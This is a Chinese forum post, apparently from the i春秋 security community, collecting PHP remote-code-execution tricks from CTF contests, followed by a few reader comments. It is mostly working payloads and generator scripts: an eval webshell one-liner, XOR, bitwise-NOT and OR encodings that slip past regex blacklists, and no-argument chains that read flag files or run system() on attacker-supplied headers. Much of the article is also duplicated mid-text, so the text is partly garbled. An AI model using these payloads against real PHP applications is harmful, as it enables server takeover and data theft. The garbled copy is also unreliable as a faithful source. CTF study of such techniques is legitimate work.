用户
搜索
  • TA的每日心情
    开心
    昨天 16:48
  • 签到天数: 17 天

    连续签到: 10 天

    [LV.4]经常看看II

    i春秋-脚本小子

    Rank: 2

    1

    主题

    13

    帖子

    278

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2019-8-20
    发表于 2020-11-19 10:13:00 45453
    本帖最后由 HhhM 于 2020-11-19 10:14 编辑

    本文原创作者HhhM,本文属i春秋原创奖励计划,未经许可禁止转载。

    作为一位ctf常年划水选手,兜里也装了不少trick,闲来无事分享一下我印象中在各大比赛中出现过的rce姿势。

    rce漏洞

    rce拆开来即:Remote code Execute,当然了也有解释为Remote command Execute,下文针对的是前者,通常来说达成前者的话只要没有disable function的话后者也就囊括在前者里面了。

    全文的rce针对的是php,下面先简单介绍一下php里面产生rce的点。

    直接执行代码

    关键函数

    eval();
    assert();

    assert会把传入的参数执行(当参数为表达式时才能执行),如:

    <?php $a = 5;
    assert('$a=6'); 
    echo $a; //6

    在php版本>=7.2时会报错。 assert通常会被我们用来与eval配合绕过一些过滤。
    eval允许我们传入字符串参数,并将其进行计算,如:

    <?php eval('echo 6+6;'); //12

    此时会输出12,可以看到eval会将echo也执行了,也就是说eval会将传入的php代码执行。
    此时如果有如下代码:

    <?php @eval($_GET['hack']); //@作用在于忽略本行代码的报错

    我们就可以利用来执行任意php代码了,对应于其他语言也有此类类似的代码,我们称之为一句话木马。

    动态函数执行

    • 定义一个函数
    • 将函数名(字符串)赋值给一个变量
    • 使用变量名代替函数名动态调用函数

    详细代码如下所示:

    <?php
     function addition ($a, $b){
       echo ($a + $b), "\n";
     }
     $result = "addition";
     $result (3,6);
    "addition"(3,6);
    ?>

    像这里写了一个addition函数,并且将addition赋值给变量result,然后利用动态特性:

    $result (3,6);

    这样就成功执行了函数,那么实战中代码能怎么利用呢?

    <?php
    $result = "system";
    eval("\$result('dir');");
    ?>

    像这样就可以成功调用system函数了,这里需要有至少一个可控变量也就是eval里面的值,当然eval可控下若无过滤则没必要使用这种方法。

    Curly Syntax

    PHP 的 Curly Syntax 也能导致代码执行,它将执行花括号间的代码,并将结果替换回去。

    <?php
    $var = "aaabbbccc ${`ls`}";
    ?>
    <?php
    $foobar = "phpinfo";
    ${"foobar"}();
    ?>

    https://www.php.net/manual/zh/language.types.string.php:

    如果想要表达更复杂的结构,请用复杂语法。

    复杂(花括号)语法

    复杂语法不是因为其语法复杂而得名,而是因为它可以使用复杂的表达式。

    任何具有 string 表达的标量变量,数组单元或对象属性都可使用此语法。只需简单地像在 string 以外的地方那样写出表达式,然后用花括号 {} 把它括起来即可。由于 { 无法被转义,只有 $ 紧挨着 { 时才会被识别。可以用 {\$ 来表达 {$

    具体可以从上面链接了解怎么使用。

    可以理解成花括号括起来的东西就是变量,因此上面的phpinfo可以变成:

    <?php
    $foobar = "phpinfo";
    ${"foobar"}();
    "phpinfo"()

    是不是很眼熟,就是上面的动态函数执行了。

    回调函数

    很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行。

    <?php
    $evil_callback = $_GET["callback"];
    $some_array = array(0,1,2,3);
    $new_array = array_map($evil_callback, $some_array);
    ?>

    我调用了函数A,而函数A在执行过程中调用了我提供的函数B,这个函数B就称为函数A的回调函数
    显然主体是函数A,而恶意函数就是我们可控的变量,此时就能够造成代码执行。

    攻击 payload

    http://www.a.com/index.php?callback=phpinfo
    • call_user_func_array
    • call_user_func

    也许还有其他回调函数就需要做题时上网搜搜了。

    反引号

    不得不提一点就是反引号在php中你可以直接认为就是无回显的system,记住,是无回显。

    既然是system我放到这里讲是因为如果出现了eval,又因为waf或其他原因无法调用其他函数,但恰好反引号可以利用,此时也是可以达成一个有趣的利用点。

    绕过姿势

    ctf玩的就是各种绕过,看谁兜里姿势多,看谁函数手册翻的烂,看谁最与时俱进;btw,针对比赛有各类绕过姿势,下面仅介绍的部分并不代表是全部,各种姿势搭配效果更佳。

    动态函数拼接执行

    像题目如果用黑名单ban掉了一系列的函数例如:

    if(preg_match("/(phpinfo|system\(|eval\ (|file_put_contents|file_get_contents|passthru|exec\ (|chroot|scandir|proc_open|delfolder|unlink|mkdir|fopen|fread|fwrite|fputs|tmpfi le|flock|chmod|delete|assert|_post|_get|_request|_file|create_function|array_wal k|preg_replace|cookie)/Ui",file_get_contents($temp_file))){        
      die("不能含有危险函数!");

    像这种匹配了大小写的,可以利用拼接执行,那么理解拼接执行前,先理解一下chr这个函数。

    从不同的 ASCII 值返回字符:

    <?php
    echo chr(61) . "<br>"; // 十进制
    echo chr(061) . "<br>"; // 八进制值
    echo chr(0x61) . "<br>"; // 十六进制值
    ?>
    //=
    //1
    //a

    分别返回了各自对应的字符,那么我们利用php字符串拼接的特性可以构造来绕过正则过滤,如:

    <?php
    $a = "phpinfo";
    for ($i=0; $i < strlen($a); $i++) { 
        if($i==strlen($a)-1){
            echo "chr(".ord($a[$i]).")";
        }
        else{
            echo "chr(".ord($a[$i]).").";
        }
    }

    用上面的脚本可以直接生成chr拼接的ascii,那么这一串字符串再配合上面讲到的动态函数执行的特性不就可以达成任意代码执行了。

    如:

    $a = chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111);
    $a();

    此类漏洞的存在场景通常是文件上传执行任意代码。

    长度限制

    这个应该不需要多说了吧,直接看payload:

    `$_GET[1]`
    include$_GET[1]

    因为长度限制我们可以通过变换实际参数位置来达成绕过。

    取反绕过

    这一点是利用~这一个字符来执行的,先解释一下取反。

    取反指的是按位取反也就是比如数字1,其二进制为00000001,那么取反后将变为11111110,这就是按位取反,那么我们将按位取反后的字符串传入的后再次按位取反的话就变回我们原来的字符串,然后再配合动态函数执行的方式达成任意代码执行,以此来绕过各种限制。

    以下面的正则为例:

     <?php 
         highlight_file(__FILE__);
    if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $_GET['a'])){
        eval($_GET['a']);          
    } 
    ?> 

    来自某比赛的一道题,因为这个姿势被很多人知道了,所以这种绕过常见于题目中的某一环。

    因为取反后的字符串大部分是不可见字符,那么我们传输的时候会造成错误,那么可以利用get传参时的url解码特性,把传入的不可见字符进行url编码,那么以这个思路我们可以有如下脚本:

    <?php
    $a = ~"phpinfo";
    echo urlencode($a);

    那么怎么执行命令呢:

    <?php
    $a = ~"phpinfo";
    $b =  ~urldecode(urlencode($a));
    $b();

    那么要执行带参数的函数如下:

    <?php
    $a = ~"system";
    $b =  ~urldecode(urlencode($a));
    $d = ~"dir";
    $c =  ~urldecode(urlencode($d));
    $b($c);

    这里环境为php7及其以上版本才能使用取反绕过。

    那么我们需要执行带参数的命令时怎么执行呢?

    eval('(~xxx)(~xxxx);');
    (~%8F%97%8F%96%91%99%90)();//(phpinfo)();

    异或绕过

    当我们在遇到过滤甚至于把取反符都过滤掉之后,我们可见字符都被过滤掉了,这时候可以考虑利用不可见字符,这个不可见字符前面在取反绕过的时候说过了,这时候没了取反我们可以利用仍然存在的字符来构造。

    在我们拿到一个正则表达式如果过滤的很严格,又不懂怎么看,可以写个脚本来粗略确定一下可用的字符。

    <?php
    for($i=0;$i<255;$i++){
        $chr = chr($i);
        if (!preg_match('/[\x00- 0-9A-Za-z]/i', $chr))
        {
            echo $chr."\n";
        }
    }
    
    ?> 

    像当前这个正则比较简单就可以使用取反绕过,那么当测试之后发现存在有^,那么我们就可以使用异或来构造字符了。

    那么异或应该怎么用?

    像上面我们可以利用函数ord来查看我们可用的ascii码:

    <?php
    // highlight_file(__FILE__);
    for($i=0;$i<255;$i++){
        $chr = chr($i);
        if (!preg_match('/[\x00- 0-9A-Za-z]/i', $chr))
        {
            echo ord($chr)."\n";
        }
    }
    
    ?> 

    对应这道题会发现有很多可用,那么我们再对原有脚本修改,把他们写到一个数组里面利用他们来构造可见字符:

    <?php
    // highlight_file(__FILE__);
    echo 'array(';
    for($i=0;$i<255;$i++){
        $chr = chr($i);
        if (!preg_match('/[\x00- 0-9A-Za-z]/i', $chr))
        {
            if($i==254){
                echo ord($chr);
            }
            else{
                echo ord($chr).",";
            }
        }
    }
    echo ")";
    ?> 
    

    那么有了这个可用数组之后我们先放一边,看看异或。

    异或大部分人都认识,就简单看看:

    a⊕b = (¬a ∧ b) ∨ (a ∧¬b)

    这个公式表达的意思就是如果a和b相等则为0,不相等则为1,那么对应到字符之间的异或是将字符转为二进制之后按位异或最终得到另一个字符,如:

    <?php
    echo "1"^"b";

    输出S。

    那么利用这个特性我们可以写个脚本跑出来我们能够构成的所有字符:

    <?php 
    $array = array(33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,58,59,60,61,62,63,64,91,92,93,94,95,96,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254);
    for($i=0;$i<count($array);$i++){
        for($j=0;$j<count($array);$j++){
        echo sprintf("%s^%s",urlencode(chr($array[$i])),urlencode(chr($array[$j])))."=>". (chr($array[$i])^chr($array[$j]))."\n";    
    } 
    }
    
    ?>

    并且有一点必须知道的就是两个字符串之间也是可以进行异或的,其是对应位字符进行异或后将结果拼接起来;而且在异或时事实上我们并不需要如此多个结果,我们在拥有256个ascii码中的一半,即128个可用字符后,与255去异或已经能够满足我们的需求,用脚本:

    <?php 
    for($i=128;$i<255;$i++){
    echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";    
    } 
    ?> 

    虽然看输出结果字符不全且有重复,但因为php在函数方面是大小写不敏感的,也就是说:

    <?php
    PhpInfo();

    类似这种函数同样会被执行,因此我们构造函数所需要的字符已经基本满足,接下来就是如何构造了。

    我们分别找到phpinfo对应的每个异或串:

    %AF^%FF=>P
    %97^%FF=>h
    %AF^%FF=>P
    %96^%FF=>i
    %91^%FF=>n
    %99^%FF=>f
    %90^%FF=>o

    然后拼接起来:

    %AF%97%AF%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF

    而这串字符串在执行的时候就是用到前面说的动态执行了:

    <?php
    $a = urldecode("%AF%97%AF%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF");
    
    eval("($a)();");

    那么如果用到花括号语法的话我们需要借助类似get,post这些超级全局变量了,如:

    _GET =》%a0%b8%ba%ab^%ff%ff%ff%ff
    ${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}(${%a0%b8%ba%ab^%ff%ff%ff%ff}{%fa});
    $_GET[%ff]($_GET[$fa])

    因为花括号语法中间加入的需要是一个变量。

    那么我们就可以随意控制了。

    或绕过

    了解了异或,或绕过也是类似的原理,因此下面直接给出利用脚本:

    
    <?php
    for($i=0;$i<255;$i++){

    本文原创作者HhhM,本文属i春秋原创奖励计划,未经许可禁止转载。

    作为一位ctf常年划水选手,兜里也装了不少trick,闲来无事分享一下我印象中在各大比赛中出现过的rce姿势。

    rce漏洞

    rce拆开来即:Remote code Execute,当然了也有解释为Remote command Execute,下文针对的是前者,通常来说达成前者的话只要没有disable function的话后者也就囊括在前者里面了。

    全文的rce针对的是php,下面先简单介绍一下php里面产生rce的点。

    直接执行代码

    关键函数

    eval();
    assert();

    assert会把传入的参数执行(当参数为表达式时才能执行),如:

    <?php $a = 5;
    assert('$a=6'); 
    echo $a; //6

    在php版本>=7.2时会报错。 assert通常会被我们用来与eval配合绕过一些过滤。
    eval允许我们传入字符串参数,并将其进行计算,如:

    <?php eval('echo 6+6;'); //12

    此时会输出12,可以看到eval会将echo也执行了,也就是说eval会将传入的php代码执行。
    此时如果有如下代码:

    <?php @eval($_GET['hack']); //@作用在于忽略本行代码的报错

    我们就可以利用来执行任意php代码了,对应于其他语言也有此类类似的代码,我们称之为一句话木马。

    动态函数执行

    • 定义一个函数
    • 将函数名(字符串)赋值给一个变量
    • 使用变量名代替函数名动态调用函数

    详细代码如下所示:

    <?php
     function addition ($a, $b){
       echo ($a + $b), "\n";
     }
     $result = "addition";
     $result (3,6);
    "addition"(3,6);
    ?>

    像这里写了一个addition函数,并且将addition赋值给变量result,然后利用动态特性:

    $result (3,6);

    这样就成功执行了函数,那么实战中代码能怎么利用呢?

    <?php
    $result = "system";
    eval("\$result('dir');");
    ?>

    像这样就可以成功调用system函数了,这里需要有至少一个可控变量也就是eval里面的值,当然eval可控下若无过滤则没必要使用这种方法。

    Curly Syntax

    PHP 的 Curly Syntax 也能导致代码执行,它将执行花括号间的代码,并将结果替换回去。

    <?php
    $var = "aaabbbccc ${`ls`}";
    ?>
    <?php
    $foobar = "phpinfo";
    ${"foobar"}();
    ?>

    https://www.php.net/manual/zh/language.types.string.php:

    如果想要表达更复杂的结构,请用复杂语法。

    复杂(花括号)语法

    复杂语法不是因为其语法复杂而得名,而是因为它可以使用复杂的表达式。

    任何具有 string 表达的标量变量,数组单元或对象属性都可使用此语法。只需简单地像在 string 以外的地方那样写出表达式,然后用花括号 {} 把它括起来即可。由于 { 无法被转义,只有 $ 紧挨着 { 时才会被识别。可以用 {\$ 来表达 {$

    具体可以从上面链接了解怎么使用。

    可以理解成花括号括起来的东西就是变量,因此上面的phpinfo可以变成:

    <?php
    $foobar = "phpinfo";
    ${"foobar"}();
    "phpinfo"()

    是不是很眼熟,就是上面的动态函数执行了。

    回调函数

    很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行。

    <?php
    $evil_callback = $_GET["callback"];
    $some_array = array(0,1,2,3);
    $new_array = array_map($evil_callback, $some_array);
    ?>

    我调用了函数A,而函数A在执行过程中调用了我提供的函数B,这个函数B就称为函数A的回调函数
    显然主体是函数A,而恶意函数就是我们可控的变量,此时就能够造成代码执行。

    攻击 payload

    http://www.a.com/index.php?callback=phpinfo
    • call_user_func_array
    • call_user_func

    也许还有其他回调函数就需要做题时上网搜搜了。

    反引号

    不得不提一点就是反引号在php中你可以直接认为就是无回显的system,记住,是无回显。

    既然是system我放到这里讲是因为如果出现了eval,又因为waf或其他原因无法调用其他函数,但恰好反引号可以利用,此时也是可以达成一个有趣的利用点。

    绕过姿势

    ctf玩的就是各种绕过,看谁兜里姿势多,看谁函数手册翻的烂,看谁最与时俱进;btw,针对比赛有各类绕过姿势,下面仅介绍的部分并不代表是全部,各种姿势搭配效果更佳。

    动态函数拼接执行

    像题目如果用黑名单ban掉了一系列的函数例如:

    if(preg_match("/(phpinfo|system\(|eval\ (|file_put_contents|file_get_contents|passthru|exec\ (|chroot|scandir|proc_open|delfolder|unlink|mkdir|fopen|fread|fwrite|fputs|tmpfi le|flock|chmod|delete|assert|_post|_get|_request|_file|create_function|array_wal k|preg_replace|cookie)/Ui",file_get_contents($temp_file))){        
      die("不能含有危险函数!");

    像这种匹配了大小写的,可以利用拼接执行,那么理解拼接执行前,先理解一下chr这个函数。

    从不同的 ASCII 值返回字符:

    <?php
    echo chr(61) . "<br>"; // 十进制
    echo chr(061) . "<br>"; // 八进制值
    echo chr(0x61) . "<br>"; // 十六进制值
    ?>
    //=
    //1
    //a

    分别返回了各自对应的字符,那么我们利用php字符串拼接的特性可以构造来绕过正则过滤,如:

    <?php
    $a = "phpinfo";
    for ($i=0; $i < strlen($a); $i++) { 
        if($i==strlen($a)-1){
            echo "chr(".ord($a[$i]).")";
        }
        else{
            echo "chr(".ord($a[$i]).").";
        }
    }

    用上面的脚本可以直接生成chr拼接的ascii,那么这一串字符串再配合上面讲到的动态函数执行的特性不就可以达成任意代码执行了。

    如:

    $a = chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111);
    $a();

    此类漏洞的存在场景通常是文件上传执行任意代码。

    长度限制

    这个应该不需要多说了吧,直接看payload:

    `$_GET[1]`
    include$_GET[1]

    因为长度限制我们可以通过变换实际参数位置来达成绕过。

    取反绕过

    这一点是利用~这一个字符来执行的,先解释一下取反。

    取反指的是按位取反也就是比如数字1,其二进制为00000001,那么取反后将变为11111110,这就是按位取反,那么我们将按位取反后的字符串传入的后再次按位取反的话就变回我们原来的字符串,然后再配合动态函数执行的方式达成任意代码执行,以此来绕过各种限制。

    以下面的正则为例:

     <?php 
         highlight_file(__FILE__);
    if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $_GET['a'])){
        eval($_GET['a']);          
    } 
    ?> 

    来自某比赛的一道题,因为这个姿势被很多人知道了,所以这种绕过常见于题目中的某一环。

    因为取反后的字符串大部分是不可见字符,那么我们传输的时候会造成错误,那么可以利用get传参时的url解码特性,把传入的不可见字符进行url编码,那么以这个思路我们可以有如下脚本:

    <?php
    $a = ~"phpinfo";
    echo urlencode($a);

    那么怎么执行命令呢:

    <?php
    $a = ~"phpinfo";
    $b =  ~urldecode(urlencode($a));
    $b();

    那么要执行带参数的函数如下:

    <?php
    $a = ~"system";
    $b =  ~urldecode(urlencode($a));
    $d = ~"dir";
    $c =  ~urldecode(urlencode($d));
    $b($c);

    这里环境为php7及其以上版本才能使用取反绕过。

    那么我们需要执行带参数的命令时怎么执行呢?

    eval('(~xxx)(~xxxx);');
    (~%8F%97%8F%96%91%99%90)();//(phpinfo)();

    异或绕过

    当我们在遇到过滤甚至于把取反符都过滤掉之后,我们可见字符都被过滤掉了,这时候可以考虑利用不可见字符,这个不可见字符前面在取反绕过的时候说过了,这时候没了取反我们可以利用仍然存在的字符来构造。

    在我们拿到一个正则表达式如果过滤的很严格,又不懂怎么看,可以写个脚本来粗略确定一下可用的字符。

    <?php
    for($i=0;$i<255;$i++){
        $chr = chr($i);
        if (!preg_match('/[\x00- 0-9A-Za-z]/i', $chr))
        {
            echo $chr."\n";
        }
    }
    
    ?> 

    像当前这个正则比较简单就可以使用取反绕过,那么当测试之后发现存在有^,那么我们就可以使用异或来构造字符了。

    那么异或应该怎么用?

    像上面我们可以利用函数ord来查看我们可用的ascii码:

    <?php
    // highlight_file(__FILE__);
    for($i=0;$i<255;$i++){
        $chr = chr($i);
        if (!preg_match('/[\x00- 0-9A-Za-z]/i', $chr))
        {
            echo ord($chr)."\n";
        }
    }
    
    ?> 

    对应这道题会发现有很多可用,那么我们再对原有脚本修改,把他们写到一个数组里面利用他们来构造可见字符:

    <?php
    // highlight_file(__FILE__);
    echo 'array(';
    for($i=0;$i<255;$i++){
        $chr = chr($i);
        if (!preg_match('/[\x00- 0-9A-Za-z]/i', $chr))
        {
            if($i==254){
                echo ord($chr);
            }
            else{
                echo ord($chr).",";
            }
        }
    }
    echo ")";
    ?> 
    

    那么有了这个可用数组之后我们先放一边,看看异或。

    异或大部分人都认识,就简单看看:

    a⊕b = (¬a ∧ b) ∨ (a ∧¬b)

    这个公式表达的意思就是如果a和b相等则为0,不相等则为1,那么对应到字符之间的异或是将字符转为二进制之后按位异或最终得到另一个字符,如:

    <?php
    echo "1"^"b";

    输出S。

    那么利用这个特性我们可以写个脚本跑出来我们能够构成的所有字符:

    <?php 
    $array = array(33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,58,59,60,61,62,63,64,91,92,93,94,95,96,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254);
    for($i=0;$i<count($array);$i++){
        for($j=0;$j<count($array);$j++){
        echo sprintf("%s^%s",urlencode(chr($array[$i])),urlencode(chr($array[$j])))."=>". (chr($array[$i])^chr($array[$j]))."\n";    
    } 
    }
    
    ?>

    并且有一点必须知道的就是两个字符串之间也是可以进行异或的,其是对应位字符进行异或后将结果拼接起来;而且在异或时事实上我们并不需要如此多个结果,我们在拥有256个ascii码中的一半,即128个可用字符后,与255去异或已经能够满足我们的需求,用脚本:

    <?php 
    for($i=128;$i<255;$i++){
    echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";    
    } 
    ?> 

    虽然看输出结果字符不全且有重复,但因为php在函数方面是大小写不敏感的,也就是说:

    <?php
    PhpInfo();

    类似这种函数同样会被执行,因此我们构造函数所需要的字符已经基本满足,接下来就是如何构造了。

    我们分别找到phpinfo对应的每个异或串:

    %AF^%FF=>P
    %97^%FF=>h
    %AF^%FF=>P
    %96^%FF=>i
    %91^%FF=>n
    %99^%FF=>f
    %90^%FF=>o

    然后拼接起来:

    %AF%97%AF%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF

    而这串字符串在执行的时候就是用到前面说的动态执行了:

    <?php
    $a = urldecode("%AF%97%AF%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF");
    
    eval("($a)();");

    那么如果用到花括号语法的话我们需要借助类似get,post这些超级全局变量了,如:

    _GET =》%a0%b8%ba%ab^%ff%ff%ff%ff
    ${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}(${%a0%b8%ba%ab^%ff%ff%ff%ff}{%fa});
    $_GET[%ff]($_GET[$fa])

    因为花括号语法中间加入的需要是一个变量。

    那么我们就可以随意控制了。

    或绕过

    了解了异或,或绕过也是类似的原理,因此下面直接给出利用脚本:

    <?php
    for($i=0;$i<255;$i++){
            $j = ord('`');
            echo sprintf("%s|%s",urlencode(chr($i)),chr($j))."=>".(chr($i)|chr($j))."\n";
    
    }
    ?> 
    
    //?rce=(%27``````%27|%27%13%19%13%14%05%0d%27)((%27```%27|%27%03%01%14%27).(%27%09/%27).(%27````%28%27|%27%06%0c%01%07%02%27));
    /*
    system(cat  /flag*);
    */

    无参数RCE

    无参数RCE针对的是一种正则,当然更多的是一种解题思路,无参rce所做的就是我们利用函数套娃来达成rce,其正则表达式一般会含有这么一段东西:

    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))

    那么我们传入的code的值需要符合以下形式才能通过。

    phpinfo();
    var_dump(localeconv());
    var_dump(pos(localeconv())); 

    很明显了就是一个函数套着另一个函数。

    先了解几个函数:

    • scandir

    列目录,用法:

    scandir(".")
    scandir("..")
    scandir("/")

    参数为所需要查看的目录位置。

    • readfile
    • show_source
    • highlight_file

    读取文件内容(用法类似):

    readfile("/flag")

    那么给出几种比赛中出现过的构造思路。

    法一

    因为flag不一定就在根目录或者不一定就叫flag,因此我们需要先列目录看看,先是查看当前目录下的文件,通常函数传参为:

    scandir(".")

    但我们中间同样需要函数,因此需要寻找能够替代点的函数,先是localeconv,会返回当地的金融信息的数组。

    <?php
    var_dump(localeconv());
    ?>
    
    array(18) {
      'decimal_point' =>
      string(1) "."
      'thousands_sep' =>
      string(0) ""
      'int_curr_symbol' =>
      string(0) ""
      'currency_symbol' =>
      string(0) ""
      'mon_decimal_point' =>
      string(0) ""
      'mon_thousands_sep' =>
      string(0) ""
      'positive_sign' =>
      string(0) ""
      'negative_sign' =>
      string(0) ""
      'int_frac_digits' =>
      int(127)
      'frac_digits' =>
      int(127)
      'p_cs_precedes' =>
      int(127)
      'p_sep_by_space' =>
      int(127)
      'n_cs_precedes' =>
      int(127)
      'n_sep_by_space' =>
      int(127)
      'p_sign_posn' =>
      int(127)
      'n_sign_posn' =>
      int(127)
      'grouping' =>
      array(0) {
      }
      'mon_grouping' =>
      array(0) {
      }
    }

    这个数组的第一个键值对就是一个点了,那么我们要取数组的第一个值可以有两个函数:

    • pos
    • current

    结合起来就有:

    var_dump(scandir(pos(localeconv())));

    可以列当前目录下的文件。

    那么比如flag在数组的最后一位,我们就可以用end来取数组的最后一位。

    var_dump(end(scandir(pos(localeconv()))));

    读文件则:

    var_dump(readfile(end(scandir(pos(localeconv())))));

    若flag.php位置有变,则可以配合利用下面函数:

    • next:取数组的第二个值
    • array_reverse:把数组翻转过来

    法二

    利用当前时间秒数构造点,利用的是localtime,ascii第46位是一个点,因此我们只要等到每分钟的第46秒就能够构造出来了。

    var_dump(chr(pos(localtime())));

    同样的读flag:

    var_dump(readfile(end(scandir(chr(pos(localtime()))))));

    法三

    利用sessionid来传参,即是没有开启session,我们也可以手动开启session来对session进行传参。

    • session_start:开启session
    • session_id:获取当前sessionid对应的值,参数可有可无。

    如:

    show_source(session_id(session_start()));

    法四

    利用getallheaders函数来获取参数达成rce。

    • getallheaders:获取当前请求的所有请求头

    我们利用getallheaders获取到的请求头是一个数组,那么我们只需要在最后添加或者修改一个请求头即可达成rce,如我们传参:

    echo(system(end(getallheaders())));

    法五

    eval(pos(pos(get_defined_vars())))

    直接相当于post数据。

    无参rce总结

    无参rce根据其正则过滤而有不同的解法,因此需要记住的不是payload,而是这种思路,比赛时有此类题目则根据其正则表达式的不同来寻找不同函数进行构造。

    下面给出部分能够用到的函数供各位自行构造payload:

    getchwd() 函数返回当前工作目录。
    array_reverse() 以相反的元素顺序返回数组
    scandir() 函数返回指定目录中的文件和目录的数组。 
    dirname() 函数返回路径中的目录部分。 
    chdir() 函数改变当前的目录。 
    localeconv() 返回当地金融信息,其中包含了点 
    readfile()  输出一个文件 
    echo(implode(scandir(chr(strrev(uniqid()))))); 随机令牌构造点 
    chr(pos(localtime())) 利用当前秒数构造点     chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))) 利用三角函数构造斜杠 
    current()       返回数组中的当前单元, 默认取第一个值 
    pos()           current() 的别名 
    next() 函数将内部指针指向数组中的下一个元素,并输出。 
    end()       将内部指针指向数组中的最后一个元素,并输出。 
    array_rand()    函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机 键名的数组。 array_flip()    函数用于反转/交换数组中所有的键名以及它们关联的键值。 
    chr() 函数从指定的 ASCII 值返回字符。 
    hex2bin — 转换十六进制字符串为二进制字符串 
    getenv()   获取一个环境变量的值(在7.1之后可以不给予参数) 
    show_source(); 高亮读取文件 
    highlight_file();高亮读取文件

    总的来说个人认为无参rce很符合ctf的味道,毕竟ctf不是实际挖洞,玩的事实上就是一些trick以及一些绕过替代的姿势。

    总结

    rce类型的题目事实上是一种改造型很强的题目,以正则作为改造的点,搭配上其他漏洞作为题目的最后一关或者直接作为题目主要考点都能够构成一道十分有趣的题目。

    发表于 2020-11-20 10:11:08
    学习一下,哈哈哈哈哈哈哈
    使用道具 举报 回复
    发表于 2020-11-20 11:04:50
    姿势很全,不错
    使用道具 举报 回复
    发表于 2020-11-22 09:16:07
    夕立 发表于 2020-11-20 10:11
    学习一下,哈哈哈哈哈哈哈

    感谢支持
    使用道具 举报 回复
    发表于 2020-11-22 09:16:50
    kawhi 发表于 2020-11-20 11:04
    姿势很全,不错

    感谢支持
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册